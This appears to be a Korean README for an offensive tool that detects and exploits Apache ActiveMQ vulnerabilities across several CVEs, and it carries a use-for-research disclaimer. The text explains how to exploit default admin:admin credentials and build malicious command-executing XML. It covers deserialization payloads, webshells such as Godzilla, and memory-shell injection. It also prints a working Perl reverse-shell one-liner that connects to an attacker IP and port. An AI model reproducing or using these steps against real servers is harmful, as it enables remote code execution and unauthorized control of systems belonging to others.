
Apache ActiveMQ 취약점 종합 활용 도구(CVE-2015-5254,CVE-2016-3088,CVE-2022-41678,CVE-2023-46604,CVE-2024-32114,CVE-2026-34197,CVE-2026-40466, CVE-2026-42588)
Apache ActiveMQ 취약점 탐지 및 이용 지원, CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588

[!WARNING] 이 도구는 보안 연구 및 학습 목적으로만 사용됩니다. 사용자는 이 도구 사용으로 인해 발생하는 모든 법적 책임과 관련 책임을 스스로 부담해야 합니다. 귀하의 행동이 현지 법률 및 규정을 준수하는지 확인하십시오. 저자는 어떠한 책임도 지지 않습니다. 동의하지 않는 경우 이 도구를 사용하지 마십시오.
jdk8로 실행, Openwire 기본 포트 61616, 때로는 대상 환경이 열려 있지 않을 수 있습니다. apache activemq 기본 사용자 이름과 비밀번호는 admin:admin입니다. BeanXML 설정 패널에서 명령을 실행하는 악성 xml을 생성할 수 있습니다. 문제가 있으면 Issue를 제기해 주세요.
취약점 탐지 시 악성 XML 서버 주소를 dnslog로 설정할 수 있으며, 요청을 받으면 CVE-2023-46604, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588이 존재할 가능성이 있습니다.
java-chains로 역직렬화 데이터 생성, 취약점 검증 시 URLDNS 사용 가능
리버스 셸을 받을 때는 perl을 사용하는 것이 좋습니다. sh와 bash는 가끔 실패합니다.
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

커스텀 webshell 작성 시, Beishang 웹셸은 500 오류가 발생하지만 Godzilla는 정상입니다. 도구 연결 시 인증 헤더를 추가해야 합니다.
1.4 버전부터 메모리 셸 생성 모듈 MemShellParty를 더 이상 통합하지 않습니다. 한편으로는 fatjar 패키지가 비대해지고, 다른 한편으로는 springbeanxmlclassloader에서 사용하는 base64 디코딩 방식이 Java 버전에 따라 호환되지 않아 도구에서 매번 수정이 필요하기 때문입니다. 메모리 셸이 필요한 분은 아래 xml 생성 과정을 참고하세요:
먼저 MemShellParty에서 해당 메모리 셸 base64 문자열을 생성합니다. https://party.mem.mk/ui

그런 다음 java-chains로 이동하여 Generate-OtherPayload를 찾고 사용자 정의 바이트코드를 선택합니다.

JDK 버전에 따라 base64 디코딩 방법을 선택합니다. 기본값은 decodeFromString 메서드이며, vulhub의 CVE-2026-34197 대상 환경에서는 java.util.Base64를 선택해야 합니다.
마지막으로 메모리 셸 Base64 문자열을 입력하고 생성 버튼을 클릭합니다.

Filter, Listener 또는 Servlet 유형의 경우, 메모리 셸 연결 주소에 /admin/, /api/ 경로와 인증 헤더를 추가해야 합니다. handler는 경로와 인증 헤더 필드가 필요하지 않습니다.
감사